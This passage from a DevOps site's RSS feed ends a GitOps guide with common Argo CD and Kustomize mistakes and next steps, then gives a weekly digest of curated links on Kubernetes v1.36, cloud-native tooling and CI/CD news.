          data-heading-id="h2-common-mistakes-that-break-things-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Sharing a single values file across environments.</strong> A <code>values.yaml</code> that uses <code>if eq .Values.env &quot;prod&quot;</code> blocks is a footgun. Separate files, separate paths.</p>
<p><strong>Letting Argo CD watch one path for all environments.</strong> If <code>envs/</code> is a single Argo CD <code>Application</code>, a typo in dev rolls into prod the moment you merge. One <code>Application</code> per environment, always.</p>
<p><strong>Auto-sync without <code>selfHeal: false</code> on prod.</strong> During an incident you sometimes need to <code>kubectl edit</code> a deployment to test a fix. With <code>selfHeal: true</code>, Argo CD will revert it within seconds. Either disable self-heal on prod or accept that hotfixes go through Git only.</p>
<p><strong>Storing secrets in the config repo as plain YAML.</strong> Use <code>sealed-secrets</code>, <code>external-secrets</code>, or <code>sops</code> with <code>helm-secrets</code>. Plain secrets in Git are a one-way trip you cannot undo.</p>
<p><strong>Using <code>targetRevision: HEAD</code> everywhere.</strong> Pin prod to a tag or a commit SHA when you want stricter promotion gates. <code>HEAD</code> is fine for dev.</p>
<h2 id="h2-concrete-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-concrete-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Concrete next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-concrete-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li>Pick one service and split it into <code>&lt;service&gt;</code> and <code>&lt;service&gt;-config</code> repos this week. Do not boil the ocean.</li>
<li>Create the <code>base/</code> and <code>envs/{dev,staging,prod}/</code> layout in the config repo. Run <code>kubectl kustomize envs/dev</code> locally and confirm the output looks right.</li>
<li>Write three <code>Application</code> manifests, one per environment, and apply them to the <code>argocd</code> namespace with <code>kubectl apply -f</code>.</li>
<li>Wire up your CI to open a PR against <code>envs/dev/kustomization.yaml</code> on every successful build. Leave staging and prod as manual PRs for the first two weeks.</li>
<li>Once you have two or three services on this pattern, introduce App of Apps so onboarding the next service is one YAML file, not ten.</li>
</ol>
<p>The structure you pick on day one is what your team will fight against on day three hundred. Spend the afternoon getting the folders right and the rest of GitOps becomes boring, which is exactly what you want.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 18, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-18</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-18</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-fine-grained-kubelet-api-authorization-graduates-to-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On behalf of Kubernetes SIG Auth and SIG Node, we are pleased to announce the graduation of fine-grained kubelet API authorization to General Availability (GA) in Kubernetes v1.36! The KubeletFineGrai</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/24/kubernetes-v1-36-fine-grained-kubelet-authorization-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Customer stories and continued momentum: OpenShift Virtualization sessions at Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-customer-stories-and-continued-momentum-openshift-virtualization-sessions-at-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Disruption in the virtualization market has not slowed down. The fallout from industry licensing and packaging changes continues to push organizations into decisions they were not planning to make thi</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/openshift-virtualization-sessions-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: User Namespaces in Kubernetes are finally GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-user-namespaces-in-kubernetes-are-finally-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After several years of development, User Namespaces support in Kubernetes reached General Availability (GA) with the v1.36 release. This is a Linux-only feature. For those of us working on low level c</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137" class="group relative scroll-mt-24">
        <a href="#h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SELinux Volume Label Changes goes GA (and likely implications in v1.37)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-selinux-volume-label-changes-goes-ga-and-likely-implications-in-v137"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run Kubernetes on Linux with SELinux in enforcing mode, plan ahead: a future release (anticipated to be v1.37) is expected to turn the SELinuxMount feature gate on by default. This makes volume</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/22/breaking-changes-in-selinux-volume-labeling/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-haru" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-haru" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: ハル (Haru)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-haru"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editors: Chad M. Crowell, Kirti Goyal, Sophia Ugochukwu, Swathi Rao, Utkarsh Umre Similar to previous releases, the release of Kubernetes v1.36 introduces new stable, beta, and alpha features. The con</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools" class="group relative scroll-mt-24">
        <a href="#h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Auto-diagnosing Kubernetes alerts with HolmesGPT and CNCF tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What a two-person SRE team learned building an AI investigation pipeline. Spoiler: the runbooks mattered more than the model. Why we built this At STCLab, our SRE team supports multiple Amazon EKS clu</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/21/auto-diagnosing-kubernetes-alerts-with-holmesgpt-and-cncf-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters" class="group relative scroll-mt-24">
        <a href="#h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Skyscanner scales OpenTelemetry: managing collectors across 24 production clusters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-skyscanner-scales-opentelemetry-managing-collectors-across-24-production-clusters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Developer Experience SIG is publishing a series of blog posts featuring real-world OpenTelemetry deployments from companies across different industries and scales. This post features Skyscanner, a</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/devex-skyscanner/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Trivy, KICS, and the shape of supply chain attacks so far in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Catching the KICS push: what happened, and the case for open, fast collaboration In the past few weeks we&#39;ve worked through two supply chain compromises on Docker Hub with a similar shape: first Trivy</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitops-with-ibm-kubecost-api-driven-rightsizing" class="group relative scroll-mt-24">
        <a href="#h3-gitops-with-ibm-kubecost-api-driven-rightsizing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitOps with IBM Kubecost: API Driven Rightsizing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-with-ibm-kubecost-api-driven-rightsizing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction When using IBM Kubecost, the UI clearly shows valuable insights on running workloads more efficiently through Container Request Right-Sizing Recommendations. Inevitably, someone asks: “We</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/gitops-with-ibm-kubecost-api-driven-rightsizing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-1-inspect" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-1-inspect" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 1: Inspect
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-1-inspect"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, I will show you how to configure Zabbix to securely gather Docker API metrics using the Zabbix HTTP agent item with certificate authentication. This guide will cover configuring the</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-1-inspect/32860/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads" class="group relative scroll-mt-24">
        <a href="#h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Observability in Grafana Cloud: A complete solution for monitoring your agentic workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-observability-in-grafana-cloud-a-complete-solution-for-monitoring-your-agentic-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The observability industry has developed great tools for using metrics, logs, traces, and profiles to monitor the cloud native applications that have dominated the last decade of software development.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-for-agents-in-grafana-cloud/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190" class="group relative scroll-mt-24">
        <a href="#h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 curl removed from Omnibus-GitLab FIPS packages in 19.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-curl-removed-from-omnibus-gitlab-fips-packages-in-190"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting with Omnibus-GitLab 19.0 (and the subsequent patch release to existing supported versions), FIPS packages will no longer include a GitLab-built version of curl. Instead, they will use the cur</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/curl-removed-from-omnibus-gitlab-fips-packages-in-19-0/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next" class="group relative scroll-mt-24">
        <a href="#h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI in DevOps: Why Adoption Lags in CI/CD (and What Comes Next)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is everywhere except in CI/CD Developers now use AI for nearly everything, except the part that actually ships code. Recent surveys conducted by JetBrains indicate that AI is now widely used in sof</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/teamcity/2026/04/ai-in-devops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agent-loop-is-the-new-os" class="group relative scroll-mt-24">
        <a href="#h3-the-agent-loop-is-the-new-os" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Agent Loop is the New OS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agent-loop-is-the-new-os"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Harness MCP server treats the AI agent loop as an operating system, mapping the LLM to the CPU and the Context Window to RAM. Learn how this design uses 10 generic, composable tools to abstract co</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/agent-loop-new-os"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-ai-hackathon-2026-meet-the-winners" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-ai-hackathon-2026-meet-the-winners" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab AI Hackathon 2026: Meet the winners
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-ai-hackathon-2026-meet-the-winners"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI writes code. That is expected now. But planning, security, compliance, and deployments? Those gaps remain. I have run contributor programs for years. I have never seen a community respond to techno</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-ai-hackathon-2026-meet-the-winners/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-18111-18104-1896" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-18111-18104-1896" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 18.11.1, 18.10.4, 18.9.6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-18111-18104-1896"
        >
